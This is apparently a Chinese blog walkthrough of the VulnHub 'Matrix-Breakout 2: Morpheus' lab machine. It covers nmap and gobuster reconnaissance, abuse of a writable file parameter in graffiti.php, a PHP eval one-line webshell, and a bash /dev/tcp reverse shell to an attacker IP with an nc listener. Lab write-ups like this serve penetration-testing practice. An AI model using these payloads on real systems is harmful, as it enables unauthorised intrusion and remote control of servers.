1.下载靶机
靶机下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova
下载后使用VM打开,后续选择安装地址开启就算是下载好了
2.主机发现
查看网络适配器模式(NET模式),找到NET模式的网段(192.168.79.0),使用我们kali的nmap进行扫描。扫描出来的结果可能会有干扰我们要找到我们自己的靶机地址。192.168.79.141
nmap -O 192.168.79.1/24
3.端口扫描
知道了我们的靶机地址,查看它的开放端口虽然上一步给出了我们一部分的端口但是为了防止扫描的不全我们进行全端口扫描,以防遗漏。在此博主使用的御剑工具。
以下是我们扫描得出的端口,我们挨个访问查看一下信息。
4.目录扫描
上面访问的端口没有明确有效信息,尝试看一下robots敏感文件(没有信息),接下来就要使用工具kali的dirb或者7k(扫不全)进行扫描了,除了我们已经访问过的index和robots还有一个JavaScript以及其子目录没访问,我们可以看看。
dirb http://192.168.79.141
访问所有已知目录并没有任何有用信息,换个工具字典再进行扫描,可以发现多了一个graffiti.php文件目录,我们去访问一下这个(一个留言板)。
gobuster dir -u http://192.168.79.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
5.查找攻击点
我们提交数据时会在上面显示,抓包看看里面什么个逻辑。
我们抓包可以看到我们上传的数据会传到一个叫做graffiti.txt的文件里面。因此我们尝试传入数据是否可控,更改两个值看看有没有效果。
将file后的文件改为一个别的文件名1.php往里面传入数字看看能不能传进去。放行后我们去访问1.php。可以发现是可控的参数,接下来我们构造一句话木马getshell。
抓包将下述一句话木马写到php文件中。然后访问shell.php使用工具连接,就可以得到www-data的权限了。然后进行提权操作。
<?php @eval($_POST[cmd]);?> //cmd为连接密码
6.反弹shell
我们是有写文件的权限的,在网站路径下创建一个文件写入反弹shell的代码保存为999.sh,然后监听执行
bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
nc -lvvp 端口
bash 999.sh //靶机终端执行